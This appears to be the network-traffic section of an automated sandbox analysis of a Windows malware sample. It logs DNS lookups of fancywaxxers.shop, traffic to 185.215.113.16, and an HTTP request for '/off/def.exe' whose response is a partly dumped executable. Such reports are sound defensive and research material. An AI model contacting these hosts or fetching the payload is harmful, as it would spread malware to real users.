Dec 31, 2024 09:51:24.732553959 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732564926 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732575893 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732578993 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.732587099 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732592106 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.732605934 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732616901 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732626915 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732631922 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.732639074 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732649088 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732651949 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.732660055 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732671022 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732681036 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732686996 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.732692003 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732702017 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.732703924 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732713938 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732717991 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.732724905 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732733011 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.732736111 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732747078 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732755899 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732760906 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.732767105 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732778072 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732784986 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.732795000 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732800961 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.732831955 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.732839108 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732848883 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732861042 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732871056 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732882023 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732892036 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732893944 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.732903004 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732917070 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.732934952 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.732939005 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732949972 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732960939 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732969046 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.732970953 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732983112 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732992887 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.732996941 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.733004093 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733009100 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733020067 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733023882 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.733031034 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733037949 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.733072996 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.733093023 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733110905 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733122110 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733131886 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733139038 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.733141899 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733153105 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733163118 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733165026 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.733174086 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733181000 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.733184099 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733194113 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733196020 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.733200073 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733210087 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733220100 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733241081 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733243942 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.733261108 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.733270884 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733280897 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733304024 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733311892 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.733314991 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733325958 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733336926 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733335018 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.733346939 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733357906 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733365059 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.733369112 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733380079 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733390093 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733392000 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.733401060 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733405113 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.733411074 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733421087 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733423948 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.733431101 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733442068 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733447075 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.733452082 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:24.733473063 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.733489037 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.749773979 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:24.750777006 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:36.164083004 CET	63579	443	192.168.2.9	142.250.185.68
Dec 31, 2024 09:51:36.164105892 CET	443	63579	142.250.185.68	192.168.2.9
Dec 31, 2024 09:51:36.164186954 CET	63579	443	192.168.2.9	142.250.185.68
Dec 31, 2024 09:51:36.164477110 CET	63579	443	192.168.2.9	142.250.185.68
Dec 31, 2024 09:51:36.164488077 CET	443	63579	142.250.185.68	192.168.2.9
Dec 31, 2024 09:51:36.797305107 CET	443	63579	142.250.185.68	192.168.2.9
Dec 31, 2024 09:51:36.797707081 CET	63579	443	192.168.2.9	142.250.185.68
Dec 31, 2024 09:51:36.797734022 CET	443	63579	142.250.185.68	192.168.2.9
Dec 31, 2024 09:51:36.798593044 CET	443	63579	142.250.185.68	192.168.2.9
Dec 31, 2024 09:51:36.798662901 CET	63579	443	192.168.2.9	142.250.185.68
Dec 31, 2024 09:51:36.800167084 CET	63579	443	192.168.2.9	142.250.185.68
Dec 31, 2024 09:51:36.800224066 CET	443	63579	142.250.185.68	192.168.2.9
Dec 31, 2024 09:51:36.900243998 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:36.922425032 CET	63579	443	192.168.2.9	142.250.185.68
Dec 31, 2024 09:51:36.922436953 CET	443	63579	142.250.185.68	192.168.2.9
Dec 31, 2024 09:51:37.112210035 CET	63579	443	192.168.2.9	142.250.185.68
Dec 31, 2024 09:51:46.711297989 CET	443	63579	142.250.185.68	192.168.2.9
Dec 31, 2024 09:51:46.711365938 CET	443	63579	142.250.185.68	192.168.2.9
Dec 31, 2024 09:51:46.711528063 CET	63579	443	192.168.2.9	142.250.185.68
Dec 31, 2024 09:51:46.808660030 CET	63579	443	192.168.2.9	142.250.185.68
Dec 31, 2024 09:51:46.808687925 CET	443	63579	142.250.185.68	192.168.2.9
Dec 31, 2024 09:52:36.207797050 CET	63630	443	192.168.2.9	142.250.185.68
Dec 31, 2024 09:52:36.207851887 CET	443	63630	142.250.185.68	192.168.2.9
Dec 31, 2024 09:52:36.207932949 CET	63630	443	192.168.2.9	142.250.185.68
Dec 31, 2024 09:52:36.208194971 CET	63630	443	192.168.2.9	142.250.185.68
Dec 31, 2024 09:52:36.208208084 CET	443	63630	142.250.185.68	192.168.2.9
Dec 31, 2024 09:52:36.840010881 CET	443	63630	142.250.185.68	192.168.2.9
Dec 31, 2024 09:52:36.840456963 CET	63630	443	192.168.2.9	142.250.185.68
Dec 31, 2024 09:52:36.840481043 CET	443	63630	142.250.185.68	192.168.2.9
Dec 31, 2024 09:52:36.840776920 CET	443	63630	142.250.185.68	192.168.2.9
Dec 31, 2024 09:52:36.841097116 CET	63630	443	192.168.2.9	142.250.185.68
Dec 31, 2024 09:52:36.841157913 CET	443	63630	142.250.185.68	192.168.2.9
Dec 31, 2024 09:52:36.893848896 CET	63630	443	192.168.2.9	142.250.185.68
Dec 31, 2024 09:52:46.750150919 CET	443	63630	142.250.185.68	192.168.2.9
Dec 31, 2024 09:52:46.750216007 CET	443	63630	142.250.185.68	192.168.2.9
Dec 31, 2024 09:52:46.750359058 CET	63630	443	192.168.2.9	142.250.185.68
Dec 31, 2024 09:52:46.801090002 CET	63630	443	192.168.2.9	142.250.185.68
Dec 31, 2024 09:52:46.801116943 CET	443	63630	142.250.185.68	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 09:51:07.009409904 CET	58007	53	192.168.2.9	1.1.1.1
Dec 31, 2024 09:51:07.025938988 CET	53	58007	1.1.1.1	192.168.2.9
Dec 31, 2024 09:51:23.054258108 CET	53	52082	1.1.1.1	192.168.2.9
Dec 31, 2024 09:51:31.804527998 CET	53	50213	1.1.1.1	192.168.2.9
Dec 31, 2024 09:51:32.029927015 CET	53	65259	1.1.1.1	192.168.2.9
Dec 31, 2024 09:51:33.036469936 CET	53	62370	1.1.1.1	192.168.2.9
Dec 31, 2024 09:51:33.848725080 CET	49989	53	192.168.2.9	1.1.1.1
Dec 31, 2024 09:51:33.851486921 CET	49909	53	192.168.2.9	1.1.1.1
Dec 31, 2024 09:51:35.477914095 CET	50515	53	192.168.2.9	1.1.1.1
Dec 31, 2024 09:51:35.478290081 CET	54076	53	192.168.2.9	1.1.1.1
Dec 31, 2024 09:51:36.155709982 CET	52803	53	192.168.2.9	1.1.1.1
Dec 31, 2024 09:51:36.155993938 CET	59521	53	192.168.2.9	1.1.1.1
Dec 31, 2024 09:51:36.162424088 CET	53	52803	1.1.1.1	192.168.2.9
Dec 31, 2024 09:51:36.162754059 CET	53	59521	1.1.1.1	192.168.2.9
Dec 31, 2024 09:51:39.898413897 CET	53	55323	1.1.1.1	192.168.2.9
Dec 31, 2024 09:51:49.071959019 CET	138	138	192.168.2.9	192.168.2.255
Dec 31, 2024 09:51:50.011389017 CET	53	59085	1.1.1.1	192.168.2.9
Dec 31, 2024 09:52:09.011749983 CET	53	62306	1.1.1.1	192.168.2.9
Dec 31, 2024 09:52:31.392005920 CET	53	55596	1.1.1.1	192.168.2.9
Dec 31, 2024 09:52:31.497293949 CET	53	63625	1.1.1.1	192.168.2.9
Dec 31, 2024 09:52:33.833893061 CET	50468	53	192.168.2.9	1.1.1.1
Dec 31, 2024 09:52:33.834019899 CET	54794	53	192.168.2.9	1.1.1.1
Dec 31, 2024 09:53:01.512295008 CET	53	62423	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 31, 2024 09:51:07.009409904 CET	192.168.2.9	1.1.1.1	0xedb	Standard query (0)	fancywaxxers.shop	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:33.848725080 CET	192.168.2.9	1.1.1.1	0x3c9e	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:33.851486921 CET	192.168.2.9	1.1.1.1	0xed45	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Dec 31, 2024 09:51:35.477914095 CET	192.168.2.9	1.1.1.1	0x5c06	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:35.478290081 CET	192.168.2.9	1.1.1.1	0x94d0	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 31, 2024 09:51:36.155709982 CET	192.168.2.9	1.1.1.1	0xc718	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:36.155993938 CET	192.168.2.9	1.1.1.1	0x82a9	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 31, 2024 09:52:33.833893061 CET	192.168.2.9	1.1.1.1	0x5b05	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:52:33.834019899 CET	192.168.2.9	1.1.1.1	0xb75d	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 31, 2024 09:51:07.025938988 CET	1.1.1.1	192.168.2.9	0xedb	No error (0)	fancywaxxers.shop		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:07.025938988 CET	1.1.1.1	192.168.2.9	0xedb	No error (0)	fancywaxxers.shop		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:07.025938988 CET	1.1.1.1	192.168.2.9	0xedb	No error (0)	fancywaxxers.shop		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:07.025938988 CET	1.1.1.1	192.168.2.9	0xedb	No error (0)	fancywaxxers.shop		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:07.025938988 CET	1.1.1.1	192.168.2.9	0xedb	No error (0)	fancywaxxers.shop		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:07.025938988 CET	1.1.1.1	192.168.2.9	0xedb	No error (0)	fancywaxxers.shop		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:07.025938988 CET	1.1.1.1	192.168.2.9	0xedb	No error (0)	fancywaxxers.shop		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:33.855983019 CET	1.1.1.1	192.168.2.9	0x3c9e	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:33.858544111 CET	1.1.1.1	192.168.2.9	0xed45	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:35.467170954 CET	1.1.1.1	192.168.2.9	0x3c43	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:35.467170954 CET	1.1.1.1	192.168.2.9	0x3c43	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:35.467170954 CET	1.1.1.1	192.168.2.9	0x3c43	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:35.471411943 CET	1.1.1.1	192.168.2.9	0x5f3e	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:35.485169888 CET	1.1.1.1	192.168.2.9	0x5c06	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:35.485169888 CET	1.1.1.1	192.168.2.9	0x5c06	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:35.485169888 CET	1.1.1.1	192.168.2.9	0x5c06	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:35.485169888 CET	1.1.1.1	192.168.2.9	0x5c06	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:35.485686064 CET	1.1.1.1	192.168.2.9	0x94d0	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:35.485686064 CET	1.1.1.1	192.168.2.9	0x94d0	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:36.162424088 CET	1.1.1.1	192.168.2.9	0xc718	No error (0)	www.google.com		142.250.185.68	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:36.162754059 CET	1.1.1.1	192.168.2.9	0x82a9	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 31, 2024 09:51:36.459444046 CET	1.1.1.1	192.168.2.9	0xe7b8	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:36.459444046 CET	1.1.1.1	192.168.2.9	0xe7b8	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:36.459444046 CET	1.1.1.1	192.168.2.9	0xe7b8	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:36.459477901 CET	1.1.1.1	192.168.2.9	0x7f8d	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:52:33.870409012 CET	1.1.1.1	192.168.2.9	0x5b05	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:52:33.870472908 CET	1.1.1.1	192.168.2.9	0xb75d	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

fancywaxxers.shop

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49715	185.215.113.16	80	7660	C:\Users\user\Desktop\zhMQ0hNEmb.exe

Timestamp	Bytes transferred	Direction	Data
Dec 31, 2024 09:51:20.435436964 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 31, 2024 09:51:21.203140020 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 31 Dec 2024 08:51:20 GMT Content-Type: application/octet-stream Content-Length: 2880000 Last-Modified: Tue, 31 Dec 2024 08:35:23 GMT Connection: keep-alive ETag: "6773accb-2bf200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2c 00 00 04 00 00 9e 9c 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@, `@ ,,`Ui`D @ @ @.rsrcD``@.idata f@mgmbhmys+d+h@ctyuxutw ,+@.taggant@@,"+@
Dec 31, 2024 09:51:21.203156948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:51:21.203169107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:51:21.203178883 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:51:21.203190088 CET	496	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:51:21.203480959 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:51:21.203530073 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:51:21.203541040 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:51:21.203551054 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: sIsIsIWInIsIsOsIsIsIsIsIsIsIsIsIsIsIsIq[scq[sKIwICIsIsX3ZsVyIuIUICIs
Dec 31, 2024 09:51:21.203562021 CET	1236	IN	Data Raw: 0b ff 73 86 49 fe 73 87 49 f2 73 87 49 88 47 a9 79 d0 40 b7 7a cf 4a 87 49 fe 73 82 49 92 73 87 49 62 7b 87 49 dd 0d 87 49 f6 7a 87 49 c6 78 87 49 dd 20 f3 3b 97 1d e0 3a fe 73 87 49 be 67 87 49 d6 75 87 49 dd 26 d4 49 96 69 87 49 ee 73 87 49 dd Data Ascii: sIsIsIGy@zJIsIsIb{IIzIxI ;:sIgIuI&IiIsI4sIiInqI1&sIsIsHN]qIzeIsIsIsIsIsIsIsIsIsIsIsIsIsIsIsIsIsAsIsIta@sZNzIu3@sCsI[u@sNzIt
Dec 31, 2024 09:51:21.208156109 CET	1236	IN	Data Raw: 49 fc 73 e8 43 fc 73 84 49 dd 76 87 49 ff 73 ba 4c fe 73 86 49 04 7b 87 49 ff 73 bc 4d fe 73 85 49 8d 7b 87 49 ff 73 d9 4c fe 73 85 49 94 76 87 49 fd 73 fa 43 fe 73 86 49 a5 7a 87 49 fc 73 c3 4c fe 73 84 49 93 79 87 69 fe 73 87 49 fe 73 86 49 72 Data Ascii: IsCsIvIsLsI{IsMsI{IsLsIvIsCsIzIsLsIyisIsIrwIsCsIyisIsIrwIsUAsIDyisIsIrwIsYLsIuIsDAsIvIs@sIwIsCsIZvIsMsIIvIsLsI{IsKLsI{IYzIs @sIYzIs @sIYz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49706	104.21.112.1	443	7660	C:\Users\user\Desktop\zhMQ0hNEmb.exe

Timestamp	Bytes transferred	Direction	Data
